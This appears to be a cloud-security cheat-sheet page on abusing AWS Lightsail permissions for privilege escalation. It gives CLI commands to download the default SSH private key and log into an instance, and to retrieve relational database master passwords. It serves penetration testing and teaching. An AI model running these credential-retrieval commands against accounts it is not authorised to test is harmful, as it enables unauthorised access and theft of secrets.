> For the complete documentation index, see [llms.txt](https://www.techwithtyler.dev/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.techwithtyler.dev/cloud-security/aws/aws-offensive-security/aws-privilege-escalation/lightsail.md).

# Lightsail

## lightsail:DownloadDefaultKeyPair

* With this action available, you can download the default SSH key pair used by EC2 instances spun up in Lightsail

{% code overflow="wrap" %}

```bash
# download key to a .pem file
aws lightsail download-default-key-pair --query privateKeyBase64 --output text > lightsail.pem

# change permissions 
chmod 400 lightsail.pem

# ssh 
ssh -i lightsail.pem ec2-user@3.91.3.46
```

{% endcode %}

* To know which SSH key is being used for which instance, run&#x20;

{% code overflow="wrap" %}

```bash
# lightsail:GetInstances
aws lightsail get-instances --query 'instances[].sshKeyName' --output text
 
# lightsail:GetInstance
aws lightsail get-instance --instance-name instance-1 --query 'instance.sshKeyName'
```

{% endcode %}

***

## lightsail:GetRelationalDatabaseMasterUserPassword

* Retrieve the master password for the RDS database
* List the RDS database names

{% code overflow="wrap" %}

```zsh
aws lightsail get-relational-databases
```

{% endcode %}

* Retreive the master password for a particular database

{% code overflow="wrap" %}

```zsh
aws lightsail get-relational-database-master-user-password --relational-database-name <database-name>
```

{% endcode %}
